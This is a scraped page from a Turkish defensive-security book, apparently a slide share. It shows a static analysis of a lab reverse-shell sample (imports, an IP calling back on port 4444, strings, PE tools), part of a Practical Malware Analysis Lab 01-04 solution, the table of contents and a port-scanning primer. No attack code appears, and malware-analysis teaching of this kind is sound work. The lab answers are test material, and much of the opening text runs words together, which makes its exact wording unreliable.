fonksiyonuise belirtilendosyanıntürünüalır.Bu3 fonksiyonumuzwin32api - file api başlığıaltında
yeralan fonksiyonlardır. https://docs.microsoft.com/en-us/windows/win32/api/fileapi/ buraya
bırakalım.
Sleep,CreateEventAfonksiyonlarıise synchapi.hbaşlığıaltındayeralanfonksiyonlardır.
BunlardaMSDN sayfalarındanaçıklamalarolsun.
Yine dosyaişlemleri ilealakalıbirçokfonksiyonyeralıyor.DiğerDLLdosyamızageçelim.
Bu DLL içinC çalışma zamanı kitaplığıdiyebiliriz.Burada reallocfonksiyonuayrılmışbirbellekalanına
yeni birboyuteklemekiçinkullanılıyor. Mallocfonksiyonudabellekalanıayırmakiçinkullanılıyor.
Yani bufonksiyonlardinamikbellekyönetimi içinkullanılanfonksiyonlardır. <stdlib.h> ve
<malloc.h> kütüphanelerine ihtiyaç duyarlar. Diğer fonksiyonlarda dosya ve çıktı yazma işlevlerini
yerine getiriyor.
Bu iki dll dosyamızağ bağlantılarıiçinkullanılanDLLdosyalarıdır.Üzerlerinde fazlakonuşmayagerek
duymuyorumki zatenne işlevi yerinegetirdikleri çokbelli.
Burada ise biradetIP adrestespitedilmiş.Buradanaslındaçıkaracağımız sonuçbu adresinsaldırgana
ait olduğuyani bağlantınınkurulacağıadresolduğunudüşünebiliriz.Budaaslındaters bağlantı
sağlayanbirzararlının olduğunadairbiripucudur.Ki zatenağ işlemleriiçinde DLLdosyalarıyer
alıyordu.Bu IPadresini birazdahaaraştırabiliriz.(Tamamlocal adresdemeyinhemensenaryogereği.)
İlgili sayfaüzerinde IPadresi içinistihbarataraştırmasıyapıyoruzancak kabul edilmiyortabii,e dedik
senaryogereği local biradreskullandık.Buaşamada bu adresi güvenlikduvarınızile engellemeniz
gerekiyor.
Burada gördüğümüzbilgi gerçektenönemli.Gördüğünüzgibi ilgili IPadresine 4444 portundan
bağlantıkuruluyor.Yani zararlı yazılımçalıştığı zaman buadres üzerindenikitaraf bağlantıkuruyor.
Bu bilgi ışığında ilgili adresve portfiltresi uygulanarakağıntrafiği incelenebilir.Yani zararlınınağ
aktivitesi incelenereknelergerçekleştiği yorumlanabilir.
StringAnaliz
Burada exe dosyanıniçerisinde geçenstringleri inceleyelim.Buradanuygulamanınkullandığı
fonksiyonlar,ipadresleri, dlldosyalarıvbbilgilerieldeedebiliriz.Buradaneldeettiğimizkarakterler
bize zararlı hakkındabilgilerverecektir.
1.txt dosyasınaçıktıyı oluşturdum.
Bakın ilkbölümdenPEsectionbilgilerini görebiliyoruz.Şimdi buradananlamlıkarakterleryakalamaya
çalışacağız.
Bakın burada epeybirfonksiyonlistesi karşımaçıktı.Bunların hepsi Cdilinde kullanılan
fonksiyonlardır.
KullanılanDLLdosyaları,fonksiyonlarıyine buradangörebiliyoruz.
Bu txt dosyasındagrepkomutuile çeşitlifiltrelerde yaparakhızlıcaarama yapabiliriz.
Bu şekilde filtrelerle de sonuçodaklıilerleyebiliriz.Şuanakadarelde ettiğimizbilgilerle uygulamanın
uzak biradrese bağlantıkurduğu,socketfonksiyonları,kullandığıdll,fonksiyonve karakterlerdenyola
çıkarak zararlının reverse shell olduğukanısınavarabiliriz.
Aynı zamandabu yaptığımız işlemleri tekbirprogramüzerindende ayrıntılıolarakgörebiliriz.
PEstudioprogramıile dosyamızıinceleyelim.Bununiçinönceliklekali makinemde yeralanzararlıyı
analizedeceğimXPmakinesinetransferedeceğim.
Masaüstü dizinimihttpüzerindenpaylaşımaaçıpXPmakinemde erişiyorumve malware.exe
dosyasınısistemime çekiyorum.
Burada gördüğünüzgibi pestudio37 stringi blacklist olarakeklemiş.Yani bunlarınzararlıstringler
olduğunusöylüyor.
Kullanılan5dll dosyasından2 tanesini zararlıolarakgörüyor.Yani ağ işlemleri gerçekleştirendll
dosyalarınıkara listeye eklemiş.
Aynı zamandavirustotal üzerindende sonuçlarıbize gösteriyor.
PE analizi yapabileceğimizbirbaşkauygulamaise pe vieweraracıdır.
Örneğinuygulamanınimporttablosunuincelediğimzamanahil ettiğiDLLdosyalarını
görebilmekteyim.
Buradan hafızaadreslerini görebiliyorum.BirdiğerPEanalizaracımız ise PEBrowseDbgaracıdır.
Buradan textsection’agözattığım zamanhafıza adresleri,opcode bölmesi,assemblykarşılıklarınınet
biçimde görebiliyorum.Tabiitemelstatikanalizde bukısımlaragirmeyeceğiz.
Aynı zamandaimports bölmesindenkullanılanDLLve içerdikleri fonksiyonlarıdagörebilmekteyiz.
Exportstablosundadaepeybirfonksiyonkarşımızaçıkıyor.Burada gördüğünüzgibi soketişlemleri
içinkullanılançeşitlifonksiyonlargözümüze çarpıyor.
Aynı zamandaherbir fonksiyonunhafızadaki yerini de netbiçimde görebiliyoruz.Tabii burada
assemblyseviyesinde analizyapmayacağız,burayaileri seviye statikanalizde geleceğiz.
Son olarakda Resource Hackerprogramı ile uygulamanın.rsrcsectioninceleyerekbilgi alabiliriz.
Uygulamanınherhangi birpaketlemeişleminetabii tutuluptutulmadığınıdaPEiDyazılımı ile tespit
edebiliriz.Gördüğünüzgibi herhangi birişleme tabiitutulmamış.
Temel statikanalizde aktaracaklarımbukadar idi.Okuyanherkese teşekkür ederim.
PMA LAB 01-04 TEMEL STATİK ANALİZ
Practical Malware Analysis Lab01-04 Çözümü
Kitaptaki Labsoruları kitabınistediği formatta çözülecektir.Serinindevamıdır.
Bütünarkadaşlara başarılardilerim...
Kitabınbizdenistediği sorularabakacakolursak:
https://i.imgyukle.com/2021/02/26/L6LpJ6.png
Soru 1: Lab01-04.exe dosyasını vitustotal’eyükleyipherhangibirzararlıeşleşmesi olupolmadığını
kontrol edin.
Zararlı dosyayıVirusTotale atıp sonuçlarıinceleyelim.
https://i.imgyukle.com/2021/02/26/L6Lipv.png
Görüldüğüüzere 59/71 oranı vermektedirbununlabirlikte kurduğubağlantılar,registerkayıtları
kullandığıDLL ve nicesi gözükmektedir.COMMUNITYkısmına tıklayacakolursakda bu dosyayı
inceleyenanalizcilerinyorumlarıgözükmektedir.VTsonucunabakarakzararlı olduğu
düşüncesindeyiz.
Not:VirusTotalin çalışmaprensibine bakacakolursakuploadettiğimizdosyanınhashdeğerini kendi
veritabanındakilerlekarşılaştırmaktadır.Paketlenmişbirzararlıburada temizsonucuvermesi çokça
rastlananbirdurum.
Not2: Bir dosyayıVT ile analizederkendosyanınhashdeğerleri taratılmasıdoğrubirhareketolacaktır
çünküvirustotal uploadedilendosyalarıortaklarıile paylaşmaktadırve bunlarherkeseaçıkolarak
yayınlandığıiçinkritikdosyalarınuploadedilmesi sakıncaoluşturmaktadır.
Soru2: Dosyanınpaketlendiğine veyaobfuscate edildiğinedairbirizvar mı? Varsa nelerdir?Eğer
paketleme varsamümkünse açın.
https://i.imgyukle.com/2021/02/26/L6LvkM.png
Görüldüğüüzere herhangi birpaketlemesözkonusudeğil.
şimdi 2 sorununcevabınıbirdenvereceğim.
Soru 3: Bu program ne zaman derlendi?
Soru 6: Burada uygulamanınresource source alanınıincelememizi ve kaynaktanveri çıkarmamızı
istiyor.Bununiçinde Resource Hackeryazılımınıişaretediyor.
Dosyamızı PEstudioile açıyoruzve derlenmetarihinigörüyoruzbunlardeğiştirilebilmektedirazsonra
orijinal derlenmezamanınaerişmeye çalışacağız.
https://i.imgyukle.com/2021/02/26/L6LKw8.png
tarihgörüldüğügibi 31 ağustos2019 şimdi gerçekderlenme tarihiniöğrenmeye çalışalım.
https://i.imgyukle.com/2021/02/26/L6LUDo.png
aracımı çalıştırıp okile işaretledimyere tıklayarakbirexe dosyasıoluşturalımve PEstudioile açalımve
derlenme tarihine birdahabakalım.
https://i.imgyukle.com/2021/02/26/L6Ll31.png
burada ise 27 şubat2011 tarihinde derlendiğini görmekteyiz.Resource hackerile.rsrcsection
bilgilerinianalizetmemize olanaksağladıve busectiondanderlenme tarihi,kullanılandllbilgileri,
fonksiyonlarıgibi temel bilgilereldeedilebilmektedir.Resource Hackerile çektiğimizsection
sayesinde orijinalderlenmetarihine erişmişolduk.
Soru 4: Bu programın importtablosunuinceleyerekprogramınişlevihakkındaneleröğrenebiliriz?
Hacking'in Mavi Tarafı  -1
Hacking'in Mavi Tarafı  -1
Hacking'in Mavi Tarafı  -1
Hacking'in Mavi Tarafı  -1
Hacking'in Mavi Tarafı  -1
Hacking'in Mavi Tarafı  -1
Hacking'in Mavi Tarafı  -1
Hacking'in Mavi Tarafı  -1
Hacking'in Mavi Tarafı  -1
Hacking'in Mavi Tarafı  -1
Hacking'in Mavi Tarafı  -1
Hacking'in Mavi Tarafı  -1

Más contenido relacionado

La actualidad más candente

Kali ile Linux'e Giriş | IntelRAD
Kali ile Linux'e Giriş | IntelRADKali ile Linux'e Giriş | IntelRAD
Kali ile Linux'e Giriş | IntelRADMehmet Ince
 
Beyaz Şapkalı Hacker CEH Eğitimi - Bölüm 13, 14, 15
Beyaz Şapkalı Hacker CEH Eğitimi - Bölüm 13, 14, 15Beyaz Şapkalı Hacker CEH Eğitimi - Bölüm 13, 14, 15
Beyaz Şapkalı Hacker CEH Eğitimi - Bölüm 13, 14, 15BGA Cyber Security
 
TCP/IP Ağlarda İleri Seviye Paket Analizi – Tshark
TCP/IP Ağlarda İleri Seviye Paket Analizi – TsharkTCP/IP Ağlarda İleri Seviye Paket Analizi – Tshark
TCP/IP Ağlarda İleri Seviye Paket Analizi – TsharkBGA Cyber Security
 
Beyaz Şapkalı Hacker CEH Eğitimi - Bölüm 7, 8, 9
Beyaz Şapkalı Hacker CEH Eğitimi - Bölüm 7, 8, 9Beyaz Şapkalı Hacker CEH Eğitimi - Bölüm 7, 8, 9
Beyaz Şapkalı Hacker CEH Eğitimi - Bölüm 7, 8, 9BGA Cyber Security
 
Temel Linux Kullanımı ve Komutları
Temel Linux Kullanımı ve KomutlarıTemel Linux Kullanımı ve Komutları
Temel Linux Kullanımı ve KomutlarıAhmet Gürel
 
INTERNET VE YEREL AĞ SIZMA TESTLERİ
INTERNET VE YEREL AĞ SIZMA TESTLERİ INTERNET VE YEREL AĞ SIZMA TESTLERİ
INTERNET VE YEREL AĞ SIZMA TESTLERİ BGA Cyber Security
 
Web Uygulama Güvenliği Ve Güvenli Kod Geliştirme Eğitim Notlarım
Web Uygulama Güvenliği Ve Güvenli Kod Geliştirme Eğitim NotlarımWeb Uygulama Güvenliği Ve Güvenli Kod Geliştirme Eğitim Notlarım
Web Uygulama Güvenliği Ve Güvenli Kod Geliştirme Eğitim NotlarımNur Yesilyurt
 
Beyaz Şapkalı Hacker Eğitimi Yardımcı Ders Notları
Beyaz Şapkalı Hacker Eğitimi Yardımcı Ders NotlarıBeyaz Şapkalı Hacker Eğitimi Yardımcı Ders Notları
Beyaz Şapkalı Hacker Eğitimi Yardımcı Ders NotlarıBGA Cyber Security
 
Nmap101 Eğitim Sunumu - Nmap Kullanım Kılavuzu
Nmap101 Eğitim Sunumu - Nmap Kullanım KılavuzuNmap101 Eğitim Sunumu - Nmap Kullanım Kılavuzu
Nmap101 Eğitim Sunumu - Nmap Kullanım KılavuzuMehmet Caner Köroğlu
 
PORT TARAMA ve KEŞİF ÇALIŞMALARI
PORT TARAMA ve KEŞİF ÇALIŞMALARI PORT TARAMA ve KEŞİF ÇALIŞMALARI
PORT TARAMA ve KEŞİF ÇALIŞMALARI BGA Cyber Security
 
SSH Tünelleme ile İçerik Filtreleyicileri Atlatmak
SSH Tünelleme ile İçerik Filtreleyicileri AtlatmakSSH Tünelleme ile İçerik Filtreleyicileri Atlatmak
SSH Tünelleme ile İçerik Filtreleyicileri AtlatmakBGA Cyber Security
 
Sizma testine giris - Fuat Ulugay
Sizma testine giris - Fuat UlugaySizma testine giris - Fuat Ulugay
Sizma testine giris - Fuat UlugayFuat Ulugay, CISSP
 
Temel Ağ Sızma Testine Giriş Dökümanı
Temel Ağ Sızma Testine Giriş DökümanıTemel Ağ Sızma Testine Giriş Dökümanı
Temel Ağ Sızma Testine Giriş DökümanıAhmet Gürel
 
Sızma Testine Giriş - Fuat Ulugay
Sızma Testine Giriş  - Fuat UlugaySızma Testine Giriş  - Fuat Ulugay
Sızma Testine Giriş - Fuat UlugayFuat Ulugay, CISSP
 
Caldera İle Saldırı Simülasyonu
Caldera İle Saldırı SimülasyonuCaldera İle Saldırı Simülasyonu
Caldera İle Saldırı SimülasyonuBGA Cyber Security
 

La actualidad más candente (20)

Kali ile Linux'e Giriş | IntelRAD
Kali ile Linux'e Giriş | IntelRADKali ile Linux'e Giriş | IntelRAD
Kali ile Linux'e Giriş | IntelRAD
 
Uygulamali Sizma Testi (Pentest) Egitimi Sunumu - 2
Uygulamali Sizma Testi (Pentest) Egitimi Sunumu - 2Uygulamali Sizma Testi (Pentest) Egitimi Sunumu - 2
Uygulamali Sizma Testi (Pentest) Egitimi Sunumu - 2
 
Kesif ve Zafiyet Tarama
Kesif ve Zafiyet TaramaKesif ve Zafiyet Tarama
Kesif ve Zafiyet Tarama
 
Beyaz Şapkalı Hacker CEH Eğitimi - Bölüm 13, 14, 15
Beyaz Şapkalı Hacker CEH Eğitimi - Bölüm 13, 14, 15Beyaz Şapkalı Hacker CEH Eğitimi - Bölüm 13, 14, 15
Beyaz Şapkalı Hacker CEH Eğitimi - Bölüm 13, 14, 15
 
BTRisk Adli Bilişim Eğitimi Sunumu
BTRisk Adli Bilişim Eğitimi SunumuBTRisk Adli Bilişim Eğitimi Sunumu
BTRisk Adli Bilişim Eğitimi Sunumu
 
TCP/IP Ağlarda İleri Seviye Paket Analizi – Tshark
TCP/IP Ağlarda İleri Seviye Paket Analizi – TsharkTCP/IP Ağlarda İleri Seviye Paket Analizi – Tshark
TCP/IP Ağlarda İleri Seviye Paket Analizi – Tshark
 
Beyaz Şapkalı Hacker CEH Eğitimi - Bölüm 7, 8, 9
Beyaz Şapkalı Hacker CEH Eğitimi - Bölüm 7, 8, 9Beyaz Şapkalı Hacker CEH Eğitimi - Bölüm 7, 8, 9
Beyaz Şapkalı Hacker CEH Eğitimi - Bölüm 7, 8, 9
 
Temel Linux Kullanımı ve Komutları
Temel Linux Kullanımı ve KomutlarıTemel Linux Kullanımı ve Komutları
Temel Linux Kullanımı ve Komutları
 
INTERNET VE YEREL AĞ SIZMA TESTLERİ
INTERNET VE YEREL AĞ SIZMA TESTLERİ INTERNET VE YEREL AĞ SIZMA TESTLERİ
INTERNET VE YEREL AĞ SIZMA TESTLERİ
 
Web Uygulama Güvenliği Ve Güvenli Kod Geliştirme Eğitim Notlarım
Web Uygulama Güvenliği Ve Güvenli Kod Geliştirme Eğitim NotlarımWeb Uygulama Güvenliği Ve Güvenli Kod Geliştirme Eğitim Notlarım
Web Uygulama Güvenliği Ve Güvenli Kod Geliştirme Eğitim Notlarım
 
Beyaz Şapkalı Hacker Eğitimi Yardımcı Ders Notları
Beyaz Şapkalı Hacker Eğitimi Yardımcı Ders NotlarıBeyaz Şapkalı Hacker Eğitimi Yardımcı Ders Notları
Beyaz Şapkalı Hacker Eğitimi Yardımcı Ders Notları
 
Nmap101 Eğitim Sunumu - Nmap Kullanım Kılavuzu
Nmap101 Eğitim Sunumu - Nmap Kullanım KılavuzuNmap101 Eğitim Sunumu - Nmap Kullanım Kılavuzu
Nmap101 Eğitim Sunumu - Nmap Kullanım Kılavuzu
 
PORT TARAMA ve KEŞİF ÇALIŞMALARI
PORT TARAMA ve KEŞİF ÇALIŞMALARI PORT TARAMA ve KEŞİF ÇALIŞMALARI
PORT TARAMA ve KEŞİF ÇALIŞMALARI
 
Metasploit El Kitabı
Metasploit El KitabıMetasploit El Kitabı
Metasploit El Kitabı
 
Uygulamali Sizma Testi (Pentest) Egitimi Sunumu - 3
Uygulamali Sizma Testi (Pentest) Egitimi Sunumu - 3Uygulamali Sizma Testi (Pentest) Egitimi Sunumu - 3
Uygulamali Sizma Testi (Pentest) Egitimi Sunumu - 3
 
SSH Tünelleme ile İçerik Filtreleyicileri Atlatmak
SSH Tünelleme ile İçerik Filtreleyicileri AtlatmakSSH Tünelleme ile İçerik Filtreleyicileri Atlatmak
SSH Tünelleme ile İçerik Filtreleyicileri Atlatmak
 
Sizma testine giris - Fuat Ulugay
Sizma testine giris - Fuat UlugaySizma testine giris - Fuat Ulugay
Sizma testine giris - Fuat Ulugay
 
Temel Ağ Sızma Testine Giriş Dökümanı
Temel Ağ Sızma Testine Giriş DökümanıTemel Ağ Sızma Testine Giriş Dökümanı
Temel Ağ Sızma Testine Giriş Dökümanı
 
Sızma Testine Giriş - Fuat Ulugay
Sızma Testine Giriş  - Fuat UlugaySızma Testine Giriş  - Fuat Ulugay
Sızma Testine Giriş - Fuat Ulugay
 
Caldera İle Saldırı Simülasyonu
Caldera İle Saldırı SimülasyonuCaldera İle Saldırı Simülasyonu
Caldera İle Saldırı Simülasyonu
 

Similar a Hacking'in Mavi Tarafı -1

Hping Kullanarak Ağ Keşif Çalışmaları
Hping Kullanarak Ağ Keşif ÇalışmalarıHping Kullanarak Ağ Keşif Çalışmaları
Hping Kullanarak Ağ Keşif ÇalışmalarıBGA Cyber Security
 
Wireshark.pdf
Wireshark.pdfWireshark.pdf
Wireshark.pdfandrohitt
 
Nmap kullanimi
Nmap kullanimiNmap kullanimi
Nmap kullanimicigalkan
 
Packet-O-Matic:Network Forensic Aracı
Packet-O-Matic:Network Forensic AracıPacket-O-Matic:Network Forensic Aracı
Packet-O-Matic:Network Forensic AracıBGA Cyber Security
 
Python İle Ağ Programlama
Python İle Ağ ProgramlamaPython İle Ağ Programlama
Python İle Ağ ProgramlamaOguzhan Coskun
 
Ozgur Yazilimlar ile Saldiri Yontemleri
Ozgur Yazilimlar ile Saldiri YontemleriOzgur Yazilimlar ile Saldiri Yontemleri
Ozgur Yazilimlar ile Saldiri YontemleriFatih Ozavci
 
GÜVENLİK SİSTEMLERİNİ ATLATMA
GÜVENLİK SİSTEMLERİNİ ATLATMAGÜVENLİK SİSTEMLERİNİ ATLATMA
GÜVENLİK SİSTEMLERİNİ ATLATMABGA Cyber Security
 
Oracle Veritabanı Güvenlik Testi Çalışmaları
Oracle Veritabanı Güvenlik Testi ÇalışmalarıOracle Veritabanı Güvenlik Testi Çalışmaları
Oracle Veritabanı Güvenlik Testi ÇalışmalarıBGA Cyber Security
 
2010 Kocaeli Linux Günleri - Linux Güvenlik UygulamalarıLinux
2010 Kocaeli Linux Günleri - Linux Güvenlik UygulamalarıLinux 2010 Kocaeli Linux Günleri - Linux Güvenlik UygulamalarıLinux
2010 Kocaeli Linux Günleri - Linux Güvenlik UygulamalarıLinux Burak Oğuz
 
Siber Güvenlik 1. hafta
Siber Güvenlik 1. haftaSiber Güvenlik 1. hafta
Siber Güvenlik 1. haftaOnur Er
 
RPC Zafiyetlerinin Keşfi
RPC Zafiyetlerinin KeşfiRPC Zafiyetlerinin Keşfi
RPC Zafiyetlerinin KeşfiSignalSEC Ltd.
 
Tiny Sec Kucuk Cihazlar Icin Veri Bagi Katman Guvenligi
Tiny Sec Kucuk Cihazlar Icin Veri Bagi Katman GuvenligiTiny Sec Kucuk Cihazlar Icin Veri Bagi Katman Guvenligi
Tiny Sec Kucuk Cihazlar Icin Veri Bagi Katman Guvenligieroglu
 
Temel ağ bilgisi
Temel ağ bilgisiTemel ağ bilgisi
Temel ağ bilgisiBegüm Erol
 
Zafiyet tespiti ve sizma yöntemleri
Zafiyet tespiti ve sizma yöntemleriZafiyet tespiti ve sizma yöntemleri
Zafiyet tespiti ve sizma yöntemleriEPICROUTERS
 
Beyaz Şapkalı Hacker CEH Eğitimi - Aktif Bilgi Toplama
Beyaz Şapkalı Hacker CEH Eğitimi - Aktif Bilgi ToplamaBeyaz Şapkalı Hacker CEH Eğitimi - Aktif Bilgi Toplama
Beyaz Şapkalı Hacker CEH Eğitimi - Aktif Bilgi ToplamaPRISMA CSI
 
İnformation Gathering - Bilgi Toplama (Cyber Security - Siber Güvenlik))
İnformation Gathering - Bilgi Toplama (Cyber Security - Siber Güvenlik))İnformation Gathering - Bilgi Toplama (Cyber Security - Siber Güvenlik))
İnformation Gathering - Bilgi Toplama (Cyber Security - Siber Güvenlik))Kerem Demirtürk
 
Bilge adam beşiktaş şube ethical hacking ve sızma yöntemleri etkinliği
Bilge adam beşiktaş şube ethical hacking ve sızma yöntemleri etkinliğiBilge adam beşiktaş şube ethical hacking ve sızma yöntemleri etkinliği
Bilge adam beşiktaş şube ethical hacking ve sızma yöntemleri etkinliğiEPICROUTERS
 

Similar a Hacking'in Mavi Tarafı -1 (20)

Hping Kullanarak Ağ Keşif Çalışmaları
Hping Kullanarak Ağ Keşif ÇalışmalarıHping Kullanarak Ağ Keşif Çalışmaları
Hping Kullanarak Ağ Keşif Çalışmaları
 
Nmap & Hping
Nmap & HpingNmap & Hping
Nmap & Hping
 
Wireshark.pdf
Wireshark.pdfWireshark.pdf
Wireshark.pdf
 
Nmap kullanimi
Nmap kullanimiNmap kullanimi
Nmap kullanimi
 
Packet-O-Matic:Network Forensic Aracı
Packet-O-Matic:Network Forensic AracıPacket-O-Matic:Network Forensic Aracı
Packet-O-Matic:Network Forensic Aracı
 
Python İle Ağ Programlama
Python İle Ağ ProgramlamaPython İle Ağ Programlama
Python İle Ağ Programlama
 
Ozgur Yazilimlar ile Saldiri Yontemleri
Ozgur Yazilimlar ile Saldiri YontemleriOzgur Yazilimlar ile Saldiri Yontemleri
Ozgur Yazilimlar ile Saldiri Yontemleri
 
GÜVENLİK SİSTEMLERİNİ ATLATMA
GÜVENLİK SİSTEMLERİNİ ATLATMAGÜVENLİK SİSTEMLERİNİ ATLATMA
GÜVENLİK SİSTEMLERİNİ ATLATMA
 
Oracle Veritabanı Güvenlik Testi Çalışmaları
Oracle Veritabanı Güvenlik Testi ÇalışmalarıOracle Veritabanı Güvenlik Testi Çalışmaları
Oracle Veritabanı Güvenlik Testi Çalışmaları
 
AğAğ
 
2010 Kocaeli Linux Günleri - Linux Güvenlik UygulamalarıLinux
2010 Kocaeli Linux Günleri - Linux Güvenlik UygulamalarıLinux 2010 Kocaeli Linux Günleri - Linux Güvenlik UygulamalarıLinux
2010 Kocaeli Linux Günleri - Linux Güvenlik UygulamalarıLinux
 
Siber Güvenlik 1. hafta
Siber Güvenlik 1. haftaSiber Güvenlik 1. hafta
Siber Güvenlik 1. hafta
 
RPC Zafiyetlerinin Keşfi
RPC Zafiyetlerinin KeşfiRPC Zafiyetlerinin Keşfi
RPC Zafiyetlerinin Keşfi
 
Tiny Sec Kucuk Cihazlar Icin Veri Bagi Katman Guvenligi
Tiny Sec Kucuk Cihazlar Icin Veri Bagi Katman GuvenligiTiny Sec Kucuk Cihazlar Icin Veri Bagi Katman Guvenligi
Tiny Sec Kucuk Cihazlar Icin Veri Bagi Katman Guvenligi
 
12.modül
12.modül12.modül
12.modül
 
Temel ağ bilgisi
Temel ağ bilgisiTemel ağ bilgisi
Temel ağ bilgisi
 
Zafiyet tespiti ve sizma yöntemleri
Zafiyet tespiti ve sizma yöntemleriZafiyet tespiti ve sizma yöntemleri
Zafiyet tespiti ve sizma yöntemleri
 
Beyaz Şapkalı Hacker CEH Eğitimi - Aktif Bilgi Toplama
Beyaz Şapkalı Hacker CEH Eğitimi - Aktif Bilgi ToplamaBeyaz Şapkalı Hacker CEH Eğitimi - Aktif Bilgi Toplama
Beyaz Şapkalı Hacker CEH Eğitimi - Aktif Bilgi Toplama
 
İnformation Gathering - Bilgi Toplama (Cyber Security - Siber Güvenlik))
İnformation Gathering - Bilgi Toplama (Cyber Security - Siber Güvenlik))İnformation Gathering - Bilgi Toplama (Cyber Security - Siber Güvenlik))
İnformation Gathering - Bilgi Toplama (Cyber Security - Siber Güvenlik))
 
Bilge adam beşiktaş şube ethical hacking ve sızma yöntemleri etkinliği
Bilge adam beşiktaş şube ethical hacking ve sızma yöntemleri etkinliğiBilge adam beşiktaş şube ethical hacking ve sızma yöntemleri etkinliği
Bilge adam beşiktaş şube ethical hacking ve sızma yöntemleri etkinliği
 

Hacking'in Mavi Tarafı -1

  • 1.
  • 2. ÖN SÖZ Bu kitap THT Blue Team ekibi tarafından Türk siber güvenlik camiasına hediyemizdir. Siber güvenlik alanında malware analiz, network forensic, assembly gibi konularda Türkçe kaynak eksikliği göz önüne alınarak gönüllü bir ekip tarafından hazırlanmıştır. Kitabın içeriğindeki saldırı trafik analizleri bizzat kitap yazarları tarafından laboratuvar ortamlarda oluşturularak eğitimlerde kullanılmış, hiçbir sisteme zarar verilmemiştir. Ayrıca malware analizlerinde kullanılan zararlılar da yine hem yazarlar tarafından oluşturulmuş hem de ‘Practical Malware Analysis’ kitabının içerisinde bulunan laboratuvar sorularından alınıp kitap için analizleri gerçekleştirilerek kaleme alınmıştır. Ayrıca kitabın kapak fotoğrafını tasarlayan NOVA ve grafik tasarım ekibine de teşekkürlerimizi iletiyoruz.
  • 3. İÇİNDEKİLER BÖLÜM 1: NETWORK FORENSİC  Port Tarama Trafik Paket Analizi  Host Keşif Trafik Analizi  Ağ Trafiğinde Dosya Türleri Tespiti  HTTP Trafiğinde Filtreler  HTTP Brute Force Saldırı Analizi  MITM Saldırı Analizi  MYSQL Brute Force Saldırı Analizi  SQL Injection Saldırı Analizi  Yerel Ağ Sızma Testi Analizi  Zararlı Dosya Transfer Analizi  Web Shell Tespiti BÖLÜM 2: MALWARE KAYNAK KOD ANALİZ  C Keylogger Kaynak Kod Analizi  C Reverse Shell Kaynak Kod Analizi  Python Keylogger Kaynak Kod Analizi  Python Reverse Shell Kaynak Kod Analizi
  • 4. BÖLÜM 3: MALWARE TEMEL STATİK ANALİZ  C Keylogger Temel Statik Analiz  C Reverse Shell Temel Statik Analiz  Python Reverse Shell Temel Statik Analiz  Temel Statik Malware Analiz Teknikleri  PMA Lab 01-04 Temel Statik Analizi  PMA Lab 01-02 Temel Statik Analizi  PMA Lab 01-03 Temel D-Statik Analizi BÖLÜM 4: MALWARE TEMEL DİNAMİK ANALİZ  Backdoor Temel Dinamik Analiz  Kalıcı Meterpreter Dinamik Analiz  Keylogger Temel Dinamik Analiz  Reverse Shell Temel Dinamik Analiz  PMA Lab 03-01 Temel Dinamik Analiz  PMA Lab 03-02 Temel Dinamik Analiz  PMA Lab 03-03 Temel Dinamik Analiz  PMA Lab 03-04 Temel Dinamik Analiz BÖLÜM 5: ASSEMBLY  Register Kod Yapısı  Veri Aktarım Komutları  Adresleme Modları  Veri Tanımlamaları  Kontrol Yapıları ve Döngüler  String İşlemleri  Aritmetik Mantık Komutları  İşletim Sistemi ve BIOS İlişkisi  Ekran ve Klavye İşlemleri  Temel Giriş ve Çıkış Teknikleri  Alt Programlarla Bağlantı Kurma  Kaydırma ve Yönlendirme İşlemleri  Aritmetik İşlemler
  • 5.  Diziler  Klasör ve Dosya İşlemleri BÖLÜM 6: İLERİ SEVİYE MALWARE ANALİZ  IDA ile Disassembly  Backdoor İleri Seviye Malware Analiz  IDA Pro ile Keylogger Analiz  PMA Lab 07-01 Analiz  PMA Lab 07-02 Analiz  PMA Lab 07-03 Analiz  PMA Lab 09-01 Analiz  PMA Lab 09-02 Analiz  PMA Lab 09-03 Analiz BÖLÜM 7: BELLEK DÖKÜM ANALİZİ  PMA Lab 03-01 Bellek Döküm Analizi  PMA Lab 03-03 Bellek Döküm Analizi
  • 7. PORT TARAMA TRAFİK ve PAKET ANALİZİ Port Nedir? Aslında port iki kola ayrılıyor. Fiziksel port ve sanal port olmak üzere. Ama bizi ilgilendiren ve açıklayacağımız konudakiport çeşiti sanalport. Sanal port ağ ve internet üzerindeveyabir yazılım vasıtasıyla yönlendirilen mantıksal bağlantı noktalarıdır. Genel manada internet aleminde kullanılan portlar sanal port olarak adlandırılır. Sanal portlara örnek verecek olursak  21-ftp  22-ssh  23-telnet  25-SMTP  53-DNS  161-SNMP  443-https  445-SMB  3306-MySQL  8080-HTTP-Proxy Port Taraması Nedir? Hedef üzerindebulunan portların çeşitli yardımcı araçlarla listelenmesi, açık portların üzerinden geçen bağlantıların dinlenmesi, hangi servisler üzerindeçalıştığının tespitinin detaylı bir şekilde incelenmesi vs. Port Tarama işlemi olarak adlandırıyoruz. Bilişim sistemleri bilindiği üzere birbirleriyle iletişimi sağlamak için kullandıkları bağlantı noktalarınıport olarak tanımlamıştık. Yapılan işe göreprotokoller, protokolleregörede portlardeğişmekteydi. Nmap port tarama işlemi yapılırken, ağ tarama ve zafiyet tespiti için kullanılan en ünlü açık kaynak araçlarından biridir. Port tarama işlemlerinde sıklıkla nmap aracını kullanacağız. Nmap, TCP ve UDP protokolleriyle çalışmaktadır. Bu protokoller için bir bağlantı işlemi 4 nesne tarafından gerçekleştirilir.
  • 8.  kaynak IP, hedef IP, kaynak port ve hedef port adresidir. İlk olarak TCP portlarının taranmasına bakalım. TCP protokolü Three Way Handshake yöntemini kullanarak bağlantı kuran bir protokol. UDP protokolüne göre daha yavaştır bunun temel sebebi ise verinin kontrolünü sağlaması yani karşıya ulaşıp ulaşmadığını kontrol etmesidir. Three Way Handshake(üçlü el sıkışma) Nedir? İstemci-sunucu arasında veri akışını sağlar. Bu protokolün temel amacı TCP/IP paketlerini doğru sırayla hedefe götürmektir. Özet olarak istemci tarafından bir bağlantı isteği(SYN) gider , İstemcinin gönderdiği paketi alan sunucu, tekrardan istemciye SYN ve ACK gönderir. Son adım olarakta istemci sunucuya ACK gönderip Three Way Handshake'i sonlandırır. TCP iletim bayrakları nelerdir kısaca hatırlayalım  SYN : Yeni bir sequence numarası ile bağlantı isteği başlatan bayraktır. [*]ACK : Acknowledge bayrağı veri aktarım isteğinin onaylandığını ve sonraki adımda beklenen sequence number bilgisini belirler. [*]PSH : Sistem bağlantı isteğini kabul ettiğini ve tampomlanan bilginin gönderilmesini belirten bayraktır. [*]URG : Bayrağı taşıyan paketin mümkün olduğunda hızlı iletilmesini belirten 